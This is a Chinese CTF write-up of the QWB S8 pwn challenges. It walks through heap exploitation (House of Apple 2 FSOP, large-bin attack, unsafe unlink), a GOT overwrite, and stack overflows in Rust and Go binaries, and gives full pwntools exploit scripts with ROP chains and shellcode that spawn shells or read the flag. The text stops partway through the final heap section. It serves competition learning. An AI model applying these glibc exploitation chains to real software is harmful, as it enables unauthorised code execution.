点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

强网杯S8 初&决赛 - Pwn 个人题解 // 基本结束

目录跳转:
初赛 PWN: baby_heap 特解 - 附Exp
初赛 PWN: baby_heap 通解 (bk_nextsize + House of Apple) - 附Exp
初赛 PWN: expect_number - 附Exp
初赛 PWN: prpr - 未更新
初赛 PWN: chat_with_me 特解 - 附Exp
初赛 PWN: qroute - 附 Exp
决赛 PWN: heap (Unsafe Unlink) - 附Exp
决赛 PWN: ez_heap - 附 Exp
决赛 PWN: qvm - 未更新
文件下载:
baby_heap.zip
expect_number.zip
prpr.zip
chat_with_me.zip
heap.zip
ez_heap.zip
qroute.zip

pwn baby_heap 通解

这个题很适合当 large bin 大堆溢出打 House of Apple 2 链的板子题. 但是如果真这样做,会绕很多弯路,最优解应该是利用到 Secret Shop 修改 got 表
通解没有利用到 Secret Shop 和 print_env,而是直接用的 large chunk 来打

这个程序在堆已经被 释放 后依然可以向该堆写入内容,因此有了可乘之机. 首先构造 House of Apple 2 通用板子

# 伪造 struct _IO_FILE_complete_plus
struct_file = flat({
	# struct _IO_FILE_complete -> _IO_FILE
	0:      0,                                          # file._flag
	0x18:   p64(leave_ret_c),                           # file._IO_read_base
	0x28:   p64(libc.symbols['_IO_list_all'] - 0x20),   # 写 IO_list_all - 0x20 的地址至 bk_size,下一次分配小堆元素时就会分配到这里
	0x48: 	p64(orw_addr),                              # file._IO_save_base
	0x88:   p64(lock),                                  # file._lock
	# struct _IO_FILE_complete
	0xa0:   p64(widedata_addr),                         # file._wide_data 
	# struct
	0xd8:   p64(wfile),                                 # file._vtable
}, filler=b'\0')

# 伪造 struct _IO_wide_data
struct_widedata  = flat({
	0xe0:	p64(widedata_addr + 0xe8),                  # _IO_wide_data._IO_read_ptr
	0x150:	p64(magic_gadget),                          # 
}, filler=b'\0')

然后再在板子后面接上 orw,此处先调用 mprotect,修改 heap_base_addr ~ heap_base_addr + 0x10000 为rwx 后,跳到精心构造的 shellcode 执行. 该 shellcode 打开 ./flag read 后将其标准输出

orw =  b'./flag\x00\x00'
orw += p64(rdx_r12_c) + p64(0) + p64(start_addr - 0x10)
# 调用 mprotect, 修改 heap_base_addr ~ heap_base_addr + 0x10000 为rwx
orw += p64(rdi_c) + p64(heap_base_addr)
orw += p64(rsi_c) + p64(0x10000) 
orw += p64(rdx_r12_c) + p64(0x7) * 2
orw += p64(libc.symbols['mprotect'])
orw += p64(shell_addr)
''' long syscall(SYS_openat2, int dirfd, const char *pathname, struct open_how *how, size_t size); '''
orw += asm(shellcraft.openat2(-100, orw_addr, orw_addr + 0x1000, 0x18))
''' ssize_t read(int fd, void buf[.count], size_t count); '''
orw += asm(shellcraft.read(3, heap_base_addr + 0x10000, 0x50))
''' ssize_t write(int fd, const void buf[.count], size_t count); '''
''' write to stdout 1 '''
orw += asm(shellcraft.write(1, heap_base_addr + 0x10000, 0x50))
orw += asm(shellcraft.exit(0))

payload = struct_file + struct_widedata + orw

构造完毕后,需要将该 payload 填充到一个 large bin chunk 中.

Type Size
Fast Chunk 0x20 ~ 0x80
Small Chunk < 0x400
Large Chunk >= 0x400

先 alloc 两个 0x548 大小的 chunk,分别为 chunk_1、chunk_2.

为了获得 libc 偏移地址,首先需要 free chunk_1 并使其进入 large bin 中,获取了 libc 地址后再向 chunk_1 中写入 payload 使得其 bk_nextsize 指向 _IO_list_all - 0x20. 操作后的 large bin 状况如下所示

chunk_1
fd_nextsize: 	0x0
bk_nextsize:	_IO_list_all - 0x20

_IO_list_all - 0x20
fd_nextsize: 	_IO_2_1_stderr_
bk_nextsize:	0x0

如上所示,此时 _IO_list_all - 0x20.fd_nextsize 不受影响. 因此需要 alloc 第三个堆: chunk_3,该堆大小必须小于 chunk_1.
当 chunk_3 处于 unsorted bin 且马上分配至 large bin 时,chunk_3.fd_nextsize 和 chunk_3.bk_nextsize 将会重指向自 chunk_1,且 _IO_list_all - 0x20 也会重整. 如下所示

chunk_1
fd_nextsize: 	0x0
bk_nextsize:	chunk_3

chunk_3
fd_nextsize: 	chunk_1
bk_nextsize:	_IO_list_all - 0x20

_IO_list_all - 0x20
fd_nextsize: 	chunk_3
bk_nextsize:	0x0

而后需要 alloc 一个大小为 chunk_3 的空间,这样就能够抽走 large bin 中的 chunk_3,使得 _IO_list_all - 0x20.fd_nextsize 为 chunk_1,如下所示

chunk_1
fd_nextsize: 	0x0
bk_nextsize:	_IO_list_all - 0x20

_IO_list_all - 0x20
fd_nextsize: 	chunk_1
bk_nextsize:	0x0

根据以上原理,写出代码


add_com(0x548)  # chunk_1
add_com(0x548)  # chunk_2
add_com(0x538)  # chunk_3
del_com(1)      # free chunk_1 to unsorted bin
add_com(0x558)  # free chunk_1 to large bin
del_com(3)      # free chunk_3 to unsorted bin

edit_com(1, payload[16:])

add_com(0x568)  # free chunk_3 to large bin
add_com(0x538)  # alloc chunk_3

运行后如下所示

qwb

qwb

观察一看,确实如此. 后续直接随便调用 IO 即可触发. 如下所示读取了 ./flag 并且输出了 flag{…}

qwb

EXP

#by leeya_bug

from pwn import *
import time
import os

SLEEP_TIME = 0.2

context.os = 'linux'
context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/qwb_babyheap')
libc = ELF('./glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')

def debug():
	subprocess.Popen(["qterminal", "-e", f'bash -c "pwndbg -p {p.pid}" '])
	p.interactive()
	
#------------- 基本配置 -------------

def add_com(size: int) -> None:
	p.sendlineafter(b'Enter your choice:',b'1')
	p.sendlineafter(b'size', str(size).encode())
	
def del_com(index: int) -> None:
	p.sendlineafter(b'Enter your choice:',b'2')
	p.sendlineafter(b'delete:', str(index).encode())
	
def edit_com(index: int, content: bytes) -> None:
	p.sendlineafter(b'Enter your choice:',b'3')
	p.sendlineafter(b'edit:', str(index).encode())
	p.sendlineafter(b'Input the content', content)
	
def show_com(index: int) -> bytes:
	p.sendlineafter(b'Enter your choice:',b'4')
	p.sendlineafter(b'show:', str(index).encode())
	p.recvuntil(b'The content is here \n')
	return p.recvuntil(b'Menu:')

add_com(0x548)
add_com(0x548)
add_com(0x538)
del_com(1)
add_com(0x558)
del_com(3)

content = show_com(1)
libc_addr 	= u64(content[:8]) - 0x21b120
libc.address 	= libc_addr
heap_addr 	= u64(content[16:24])
heap_base_addr 	= heap_addr - 0x1950

leave_ret_c 	= next(libc.search(asm('leave;ret;')))
'''call [[[rdi + 0x48] + 0x18] + 0x28]; move rdi, [[rdi + 0x48] + 0x10]'''
magic_gadget 	= next(libc.search(asm('mov rbp, qword ptr [rdi + 0x48];mov rax, qword ptr [rbp + 0x18]')))
rdi_c 		= next(libc.search(asm('pop rdi;ret;')))
rsi_c 		= next(libc.search(asm('pop rsi;ret;')))
rdx_r12_c 	= next(libc.search(asm('pop rdx;pop r12;ret;')))
lock 		= libc_addr + 0x3ed8b0
wfile 		= libc_addr + 0x216F40

start_addr 	= heap_addr
widedata_addr 	= start_addr + 0xe0
orw_addr 	= start_addr + 0xe0 + 0xe8 + 0x70
shell_addr	= start_addr + 0xe0 + 0xe8 + 0x70 + 0x68

# 伪造 struct _IO_FILE_complete_plus
struct_file = flat({
	# struct _IO_FILE_complete -> _IO_FILE
	0:      0,                                          # file._flag
	0x18:   p64(leave_ret_c),                           # file._IO_read_base
	0x28:   p64(libc.symbols['_IO_list_all'] - 0x20),   # file._IO_write_ptr
	0x48: 	p64(orw_addr),                              # file._IO_save_base
	0x88:   p64(lock),                                  # file._lock
	# struct _IO_FILE_complete
	0xa0:   p64(widedata_addr),                         # file._wide_data 
	# struct
	0xd8:   p64(wfile),                                 # file._vtable
}, filler=b'\0')

# 伪造 struct _IO_wide_data
struct_widedata  = flat({
	0xe0:	p64(widedata_addr + 0xe8),                  # _IO_wide_data._IO_read_ptr
	0x150:	p64(magic_gadget),                          # 
}, filler=b'\0')

orw =  b'./flag\x00\x00'
orw += p64(rdx_r12_c) + p64(0) + p64(start_addr - 0x10)
# 调用 mprotect, 修改 heap_base_addr ~ heap_base_addr + 0x10000 为rwx
orw += p64(rdi_c) + p64(heap_base_addr)
orw += p64(rsi_c) + p64(0x10000)
orw += p64(rdx_r12_c) + p64(0x7) * 2
orw += p64(libc.symbols['mprotect'])
orw += p64(shell_addr)
''' long syscall(SYS_openat2, int dirfd, const char *pathname, struct open_how *how, size_t size); '''
orw += asm(shellcraft.openat2(-100, orw_addr, orw_addr + 0x1000, 0x18))
''' ssize_t read(int fd, void buf[.count], size_t count); '''
orw += asm(shellcraft.read(3, heap_base_addr + 0x10000, 0x50))
''' ssize_t write(int fd, const void buf[.count], size_t count); '''
''' write to stdout 1 '''
orw += asm(shellcraft.write(1, heap_base_addr + 0x10000, 0x50))
orw += asm(shellcraft.exit(0))

payload = struct_file + struct_widedata + orw
# offset a large chunk header
edit_com(1, payload[16:])

add_com(0x568)
add_com(0x538)

show_com(2)

pwn baby_heap 特解

由于 getenv、setenv 在遍历所有环境变量时,调用了 strncmp 函数,在这里首先 alloc 堆获取 libc 地址后,直接通过 Secret Shop 修改 got 表中 strncmp 函数的值为 put 函数即可打印出所有环境变量.

EXP

#by leeya_bug

from pwn import *
import time

SLEEP_TIME = 0.2

p = process('./debug/qwb_babyheap')
libc = ELF('./glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')

def debug():
	subprocess.Popen(["qterminal", "-e", f'bash -c "pwndbg -p {p.pid}" '])
	p.interactive()
	
#------------- 基本配置 -------------


def add_com(size: int) -> None:
	p.sendlineafter(b'Enter your choice:',b'1')
	p.sendlineafter(b'size', str(size).encode())
	
def del_com(index: int) -> None:
	p.sendlineafter(b'Enter your choice:',b'2')
	p.sendlineafter(b'delete:', str(index).encode())
	
def edit_com(index: int, content: bytes) -> None:
	p.sendlineafter(b'Enter your choice:',b'3')
	p.sendlineafter(b'edit:', str(index).encode())
	p.sendlineafter(b'Input the content', content)
	
def show_com(index: int) -> bytes:
	p.sendlineafter(b'Enter your choice:',b'4')
	p.sendlineafter(b'show:', str(index).encode())
	p.recvuntil(b'The content is here \n')
	return p.recvuntil(b'Menu:')
	
def print_env(chose: int) -> bytes:
	p.sendlineafter(b'Enter your choice:',b'5')
	p.sendlineafter(b'sad !', str(chose).encode())
	return p.recvuntil(b'Menu:')
	
def secret(target_addr: bytes, content: bytes) -> None:
	p.sendlineafter(b'Enter your choice:',b'6')
	p.sendafter(b'target addr', target_addr)
	time.sleep(SLEEP_TIME)
	p.send(content)
	
add_com(1300)
add_com(1300)
del_com(1)
content = show_com(1)

libc_addr = u64(content[:8]) - 0x21ace0
libc.address = libc_addr
secret(p64(libc.got['strncmp']), p64(libc.symbols['puts']))

print(print_env(2))

pwn expect_number

观察位于 0x2BEE 的 Continue_Game 函数,当用户输入一个值以后,会根据当前生成的随机数的值,对用户的输入 和 上一次的计算结果 进行加减乘除操作.
而正巧的是,该随机数的种子是固定的 srand(1u); ,因此可以通过计算得知每次生成的随机数是多少.

qwb

每次生成的的随机数如下所示

4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 ... (后续生成的序列在代码中)

继续观察位于 0x2BEE 的 Continue_Game 函数,由以下红线可知观察到 rsi 可能是一个类结构.

qwb

在程序运行多次后观察内存,得出规律,对 rsi 的类结构体进行重构:

struct STRUCT1{
	void* 	addr_unknown;		
	int32_t round_times;			//程序计算运行次数
	char 	history[276];			//程序记录的历史命令
	void* 	addr_virtfunc_exit;		//虚表中 Exit 函数的地址,当用户选择 4 退出时会调用该地址的函数
}

该结构体的最后一个变量 addr_virtfunc_exit 为虚表函数的地址,当用户选择 exit 时便会调用这个地址.
可以发现,如果 round_times 超过 276,便会直接写到 history + 276 的地址. 而该地址即为虚表中 Exit 函数的最后一个字节.

而又可知,Exit 函数的 Symbol 地址为 $rebase(0x4C48),而刚好在 $rebase(0x4C60) 位置存在一个可以栈溢出的函数. 这意味着只需要修改虚表中最后一个字节从 0x48 到 0x60 即可劫持 exit 流程.

qwb

如何修改这个字节恰好为 0x60 ?可以发现,这 276 字节大小的空间不仅仅记录的是 history,在当前 history 的后一个地址恰好是当前计算的结果.

只需要让当前数字计算的结果为 0x60,并且填满这 276 字节大小的空间即可成功修改.

qwb

在成功抵达 $rebase(0x4C60) 开始栈溢出流程后,可以发现栈变量字节大小为 0x20,0x30 完全可以覆盖 ebp 和 rip. 通过如下箭头的异常程序流 throw 的一个 std::runtime_error 直接劫持正常流程.

qwb

又可以发现,程序某处的 catch 存在后门函数,直接让 rip 跳到 2516 即可成功 catch 到 std::runtime_error 并且 执行 system("/bin/sh")

qwb

通过以上得出最终 exp

EXP

#by leeya_bug

from pwn import *
import time
import os

SLEEP_TIME = 0.2

context.os = 'linux'
context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./expect_number')

def debug():
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid}' '''])
	p.interactive()

#------------- 基本配置 -------------

def continue_game(number: int) -> None:
	p.sendlineafter(b'waiting for your choice', b'1')
	p.sendlineafter(b'2 or 1 or 0', str(number).encode())

def show() -> bytes:
	p.sendlineafter(b'waiting for your choice', b'2')
	data = p.recvuntil(b'|--------').split(b'History is : ')[1].split(b'|--------')[0].strip(b'\t\n')
	return data

def exit() -> None:
	p.sendlineafter(b'waiting for your choice', b'4')

rand_nums = '4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 1 4 4 3 4 1 1 1 1 4 1 3 3 3 4 4 3 3 3 4 2 2 3 2 1 1 1 2 1 3 2 2 2 1 4 1 2 4 2 2 4 2 4 2 4 4 1 2 2 3 2 3 4 4 1 1 4 1 2 4 4 3 1 1 4 1 2 1 4 3 2 3 4 2 4 4 1 1 1 2 3 2 1 3 1 1 3 4 1 4 4 4 2 4 1 1 4 2 1 4 4 3 2 3 4 2 2 4 2 3 1 4 4 1 2 1 1 4 4 2 3 3 1 1 3 1 1 2 2 2 1 1 4 3 4 3 4 1 2 1 3 2 4 3 3 2 3 3 1 2 4 4 1 1 4 3 1 4 4 3 1 1 3 4 3 2 2 2 3 3 2 1 1 1 3 3 2 1 1 3 3 1 2 3 1 1 1 1 4 4 3 1 4 2 4 2 3 2 3 1 4 4 2 4'.split(' ')
rand_nums = [ int(i) for i in rand_nums ][::-1]

#------------- 填充整个 276 长度的 byte 数组 -------------
#------------- 并使当前计算的数字为 0x60,也就是 addr_virtfunc_exit 地址最后有一个字节为 0x60 -------------

for i in range(0, 92):
	cur_nums = rand_nums.pop()
	if cur_nums == 1: continue_game(2)
	if cur_nums == 2: continue_game(0)
	if cur_nums == 3: continue_game(1)
	if cur_nums == 4: continue_game(1)

flag = False
for i in range(92, 276):
	cur_nums = rand_nums.pop()
	if cur_nums == 1: continue_game(1)
	if cur_nums == 2: 
		if not flag:
			continue_game(1)
			flag = True
		else: continue_game(0)
	if cur_nums == 3: continue_game(1)
	if cur_nums == 4: continue_game(1)

data = show()
leak_addr = u64(data[-6:].ljust(8, b'\x00'))
base_addr = leak_addr - 0x4C60
exit()

#------------- 发送 payload -------------

payload	= b''
payload += b'a' * 0x20 + p64(base_addr + 0x5840) + p64(base_addr + 0x0000000000002516)

p.sendlineafter(b'favorite number.\n', payload)
p.interactive()

pwn prpr

这个题的难度比较大. 考了printf型虚拟机、虚拟机逃逸、FSOP

首先需要了解一下什么是 printf 型虚拟机:
printf中可以自定义格式占位符(spec)的行为,就像使用%x可以输出一个数的十六进制一样,在使用 register_printf_function 后可以将指定spec与指定转换函数绑定,从而自定义输出行为

在这个过程中,register_printf_function 函数就非常重要.
举个例子,当在此程序中规定了虚拟机的 BP 和 SP 后,使用以下函数注册 %a 为占用符:

...

void* 	EBP_ADDR;	// EBP_ADDR 为 栈底真实地址
int 	ESP_PTR;	// ESP_PTR 为相对于 EBP 的偏移,当为 0 时 栈底 和 栈顶 相等

// 这个函数的命令相当于:
//   pop eax
// 	 xor eax, [esp]
//   mov [esp], eax
// 将 栈顶 - 1 和 栈顶 的两个元素异或,退栈,然后将结果赋值给 栈顶 元素
// 注意的是,此处虚拟机的 栈底 为低地址,栈顶 为高地址
int VM_xor(FILE *stream, const struct printf_info *info, const void *const *args)
{
  int v3 = ESP_PTR --;
  *(EBP_ADDR + ESP_PTR) ^= *(EBP_ADDR + (ESP_PTR + 1));
  return 0;
}

int main(){
	// 将 VM_xor 函数注册为 %a 占位符
	register_printf_function('%a', VM_xor, arginfo);
}

当执行 printf("%a") 时,即执行命令

pop eax
xor eax, [esp]
mov [esp], eax

根据以上规律,题目在 init 时注册了多个 printf 占位符,以实现虚拟机功能

qwb

qwb

然后继续分析执行命令的循环在哪. main 函数调用 func_Q、func_W、func_B,可以发现

qwb

分别查看这三个函数,又发现 func_B 调用了 func_P、func_R、func_O

qwb

最终可以看到 func_R 中从内存的某处

qwb

暂未更新完毕

pwn chat_with_me 特解

本题如果黑盒打 pwn,就要多在 free、malloc 等处下几个断点做测试

这个题是一个 rust pwn 题,一开始拿到这个题时做题家会发现,无论是 show 还是 edit,都会展示一串未知的二进制数据. show 函数泄露了程序基址、栈地址、堆地址等信息. 而最主要应该关注的是 edit,因为 edit 能够输入数据,并且在前后有 chunk 到 bin 的变化,因此

qwb
qwb

将该二进制数据解成每八字节长度的二进制数据

qwb

观察到发现第二个、第五个、第八个数据就是该 chunk 的地址,推测这几个位置的地址能够直接由于用户的 输入覆盖 导致任意地址 free. 再经过多次测试,发现第五个地址是覆盖的关键,而第四个地址代表长度

0xa
0x5651d8238bb0
0x5
0x8             <- 长度
0x5651d8238bb0  <- free 的地址
0x2
0x5651d7afd5b0
0x5651d8236b00
0x0
0x7

经过打断点 free 发现,以上数据在 read 函数的栈上.
当前笔者思路是 free 到一个受用户操控的地址(必须要能够操控 chunk header). 而纵观整个程序流程,用户可以操控的位置要么是以上的栈空间,要么是一个 stdin 的缓冲区空间. 在这种情况下操控 栈空间 很明显是更明智之举:

当前程序的调用栈在 read 函数,操控此处的栈空间后,在下一次调用 read 时就极有可能将用户输入的 chunk alloc 到此处,并且其栈底的关键数据也在此处.

接下来把目光转向 delete 函数,Index 用户可以输入完全超过长度,经过打断点 malloc 调试发现程序逻辑大概是:用户输入了多少个字节的数据,他就 malloc 多少个字节的 chunk. 并将用户输入写入到其中.

在测试中,笔者输入了 0x27 个字节(包括\x00),该函数 malloc 了 0x27 个
qwb

在 delete 时又有发现,read_line 函数调用时的 rbp 指向的栈地址,正好为如下的 第八个地址处:

0xa
0x5651d8238bb0
0x5
0x8             <- 长度
0x5651d8238bb0  <- free 的地址
0x2
0x5651d7afd5b0
0x5651d8236b00  <- delete 时 rbp 的位置
0x0
0x7

这样,一切就通了:

  1. 使用任意地址 free 漏洞,输入以下 payload,free 掉第八个位置造的假 chunk
    (第八个位置可由 show 函数泄露的信息推断出来)
0x0
0x0
0x0
0x401           <- 长度
第八个位置       <- free 的地址
0x0             <- 假 chunk header
0x401           <- 假 chunk header
0x5651d8236b00  <- 假 chunk, delete 时 rbp 的位置
0x0
0x7
  1. 在 delete 时输入一个长度为 0x3f0 大小的二进制数据,好让该数据分配到假 chunk,并且该数据为精心构造的 rop 链即可

在分配时需要注意调整 rop 链长度,避免进入 read_line 函数 utf-8 处理

EXP

# by leeya_bug

from ast import literal_eval
from pwn import *
import time
import os

SLEEP_TIME = 0.2

context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/chat-with-me')
#libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

def debug(interact = True, query = ''):
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -ex "{query}" -p {p.pid}' '''])
	if interact: p.interactive()
	
def original_debug(interact = True):
	gdb.attach(p)
	if interact: p.interactive()
	
u64_ = lambda a: u64(a.ljust(8,b'\x00'))

# ------------- 基本配置 -------------

def add() -> None:
	p.sendlineafter(b'Choice >', b'1')

def show(index: int) -> None:
	p.sendlineafter(b'Choice >', b'2')
	p.sendlineafter(b'Index >', str(index).encode())
	p.recvuntil(b'Content:')
	return literal_eval(p.recvuntil(b']').decode())
	
def edit(index: int, memory: bytes) -> bytes:
	p.sendlineafter(b'Choice >', b'3')
	p.sendlineafter(b'Index >', str(index).encode())
	#debug(False)
	#time.sleep(5)
	p.sendlineafter(b'Content >', memory)
	p.recvuntil(b'Content: ')
	return literal_eval(p.recvuntil(b']').decode())

def delete(index: int) -> None:
	p.sendlineafter(b'Choice >', b'4')
	p.sendlineafter(b'Index >', str(index).encode())

# --------

def list2list_bytes(data: list) -> list:
	d1 = [ data[i: i + 8] for i in range(0, len(data), 8) ]
	return [ b''.join([ p8(i) for i in d2 ]) for d2 in d1 ]

def list_bytes2bytes(data: list) -> bytes:
	return b''.join(data)

def ljust_mul(s1, justnum: int, s2): return s1.ljust(justnum, b'*').replace(b'*' * len(s2), s2)

add()
data = list2list_bytes(show(0))

heap_addr = u64(data[1])
stack_addr = u64(data[4])
program_addr = u64(data[5])

program_base = program_addr - 0x635b0
bin_base = heap_addr - 0x2bb0
stdin_buf = bin_base + 0xb90
ebp_read_line = stack_addr - 0x158 + 0x30 - 0x10

print(f'program_base:            {hex(program_base)}')
print(f'bin_base:                {hex(bin_base)} ')
print(f'stack_addr:              {hex(stack_addr)} ')
print(f'stdin_buf:               {hex(stdin_buf)} ')
print(f'ebp_addr when read_line: {hex(ebp_read_line)}')

edit(0, list_bytes2bytes([p64(0), p64(0), p64(0), p64(0x401), p64(ebp_read_line), p64(0), p64(0), p64(0x401)]))

rdi_rbp = program_base + 0x000000000001dd45 # pop rdi ; pop rbp ; ret
rsi_rbp = program_base + 0x000000000001e032 # pop rsi ; pop rbp ; ret
rax = program_base + 0x0000000000016f3e # pop rax ; ret
clear_rdx_pop_3 = program_base + 0x000000000005b1c2 # mov rdx, r8 ; pop rbx ; pop r14 ; pop rbp ; ret
syscall = program_base + 0x0000000000026fcf # syscall

pay = p64(rdi_rbp) * 0x13 
pay += p64(rdi_rbp) + p64(stack_addr) * 2 
pay += p64(rsi_rbp) + p64(0) * 2 
pay += p64(clear_rdx_pop_3) + p64(0) * 3
pay += p64(rax) + p64(0x3b)
pay += p64(rdi_rbp) + p64(stack_addr + 0x48 + 8) * 2 
pay += p64(syscall)

p.sendlineafter(b'Choice >', b'4')
p.sendlineafter(b'Index >', ljust_mul(pay, 0x3f0, b'/bin/sh\x00'))

p.interactive()

pwn qroute

这个题是用 golang 编写的,类似于模拟路由器远程调试程序的程序. 主要漏洞点就在 main__ptr_Router_ping 函数中,该函数通过 exec ping <指令> <参数> 调用

__int64 __golang main__ptr_Router_ping(
        __int64 a1,
        char *a2,
        __int64 a3,
        __int64 j,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8,
        __int64 a9)

该函数初始化了一个长度为 72 的变量,对该变量的写入可以越界,从而导致 Stack OverFlow.

qwb

整个 main__ptr_Router_ping 函数只有下图中红圈处对该变量的值进行访问. 不过当笔者 fuzz 完了所有值后,均发现无法进入到下图中的 while 块部分. 因此此处应该是跟其他功能点有所关联,笔者继续分析

qwb

根据判断 main__ptr_Router_ping 函数逻辑发现,要想进入上图此处,必须输入指令 set dns <域名> <IP> 后,再 exec ping host <域名>,这样域名就会被切割放入 SOF_Point1 变量中,覆盖 RIP 返回地址后成功导致栈溢出.

vmmap 查看了下各段权限,发现根本不好打 ret2shellcode. 后续直接先调用 read 函数写入 ret2syscall 的 rop 链后,直接 ret2syscall 即可. 细节于 EXP 中展示

附:Linux X86架构 32/64位 系统调用表

EXP

# by leeya_bug

from ast import literal_eval
from pwn import *
import time
import os
import base64

SLEEP_TIME = 0.2

context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/qroute')
#libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

def debug(interact = True, query = ''):
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid} -ex "{query}" ' '''])
	if interact: p.interactive()
	
def original_debug(interact = True):
	gdb.attach(p)
	if interact: p.interactive()

u64_ = lambda a: u64(a.ljust(8,b'\x00'))

# ------------- 基本配置 -------------

def exec_cmd(cmd: bytes) -> None:
	p.sendlineafter(b'#', cmd)

g_syscall    = 0x0000000000471CD1
g_pop_rax    = 0x000000000042cfae    # before rbx
g_pop_rbx    = 0x0000000000461dc1    #
g_pop_rcx    = 0x0000000000433347    # before ax, bx
g_pop_rbp    = 0x0000000000401030    #

g_pop_rdi    = 0x00000000004c23dd
g_pop_rdx    = 0x00000000004a55a5
sh           = 0x000000000055171d
syscall_read = 0x000000000048DB60
free_stack   = 0x000000c000000000 + 0x300000
leave_ret    = 0x00000000004a721a

gadget1 = b''
gadget1 += p64(g_pop_rbp) + p64(free_stack)
gadget1 += p64(g_pop_rcx) + p64(0x200)       # before ax, bx
gadget1 += p64(g_pop_rbx) + p64(free_stack)
gadget1 += p64(syscall_read)
gadget1 += p64(leave_ret)[:-2]

overflow = b'...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................11rbp11.'

exec_cmd(b'cert 4ceb539da109caf8eea7')
exec_cmd(b'configure')
exec_cmd(b'set dns ' + overflow + gadget1 + b' 172.22.22.22')
exec_cmd(b'exec ping host ' + overflow + gadget1)

gadget2 = b''
gadget2 += b'/bin/sh\x00'
gadget2 += p64(g_pop_rdi) + p64(free_stack)
gadget2 += p64(g_pop_rax) + p64(0x3b)
gadget2 += p64(g_syscall)

p.sendlineafter(b'DNS lookup failed for', gadget2)
p.interactive()

pwn heap

这个题在搭建环境时,可能会非常费劲. 由于这个题依赖了 libc 2.31 版本的 libcrypto v1.1.0 库,但是又并没有在附件中包含它,笔者只好自己在 libc 2.31 的 ubuntu 中编译了个 libcrypto v1.1.0 放在这里,读者在使用时只需要将该库链接到本机对应的 libc 2.31 版本即可

libcrypto.so.1.1

这个题存在 free 后写入、读出漏洞
并且程序将会把前 (len(input) // 16) * 16 个字节加密,其 aes 密钥为随机生成,但通过 tcache bin 可以直接控制其 aes 密钥堆块并修改密钥,此处笔者不再赘述

在做题过程中,笔者通过劫持 tcache_perthread_struct 使得做题更方便,读者可以自行选择是否劫持 tcache_perthread_struct,详细劫持方法请查看强网青少年: youth_memory_album (tcache_perthread_struct 劫持)

这个题的堆分配使用 safe_malloc 函数,该函数会 check 此时 malloc 的 chunk 地址是否与 heap 同页(即除低地址三字节以外,高地址相同).

heap:        0x000055e400 691000
safe_malloc
tcache_bin1: 0x000055e400 691500 √
tcache_bin2: 0x000055e410 691000 × 不在同页

该函数断绝了 tcache bin attack 直接修改目标内存的可能性,只能通过其他方式修改

首先,已知在 program + 0x4080 位置存在一个 BookList 变量,会将用户 malloc 的所有堆地址记录到此,这下正好符合 unsafe unlink 的条件,况且将特定地址写入 BookList 数组中后,可以再继续利用 BookList 往特定地址中写入数据

qwb

为了使得 unsafe unlink 笔者需要在内存中某个地址布局如下(左侧为笔者能控制的布局,与右侧 BookList 相对应)

qwb

如上图所示,需要一个 unsorted chunk,并修改其 prev_size: 0x30,size: 0x500.
在其前部构造一个假的大小为 0x30 的 chunk 作为 fake bin,并且此时在 BookList 中已有一个地址指向该 0x30 的 chunk(假设该 0x30 大小的 chunk 的地址为 chk地址,并且该地址指向的是 chunk header),那就必须修改 fd 为 &chk地址 - 0x18,bk 为 chk地址 - 0x10.

相信此处对于读者朋友们不难理解,这样的内存布局,对于中心的 chk 如下所示

                fd->        ->fd 
BookList + 0x10      chk地址     BookList + 0x18
                <-bk        <-bk

此时,只需要 free 掉 unsorted chunk,当 free unsorted chunk 时会按顺序发生如下逻辑判断

  1. 首先该块检查 prev_inuse 位,此时 0x500 该位为 0,因此证明前面的堆块被释放了,要将其合并到本 chunk 中
  2. 此时 prev_size 为 0x30,那么开始合并前一个 0x30 大小堆块的流程. 调用 unlink_chunk 函数,如下所示继续检测该 0x30 堆块 chunk->fd->bk == chunk && chunk->bk->fd == chunk 条件是否为 True

    /* Take a chunk off a bin list.  */
     static void unlink_chunk (mstate av, mchunkptr p) {
         if (chunksize (p) != prev_size (next_chunk (p)))
             malloc_printerr ("corrupted size vs. prev_size");
    
         mchunkptr fd = p->fd;
         mchunkptr bk = p->bk;
    
         if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
             malloc_printerr ("corrupted double-linked list");
    
         fd->bk = bk;
         bk->fd = fd;
         if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) {
             if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
                 malloc_printerr ("corrupted double-linked list (not small)");
             if (fd->fd_nextsize == NULL) {
                 if (p->fd_nextsize == p)
                     fd->fd_nextsize = fd->bk_nextsize = fd;
                 else {
                     fd->fd_nextsize = p->fd_nextsize;
                     fd->bk_nextsize = p->bk_nextsize;
                     p->fd_nextsize->bk_nextsize = fd;
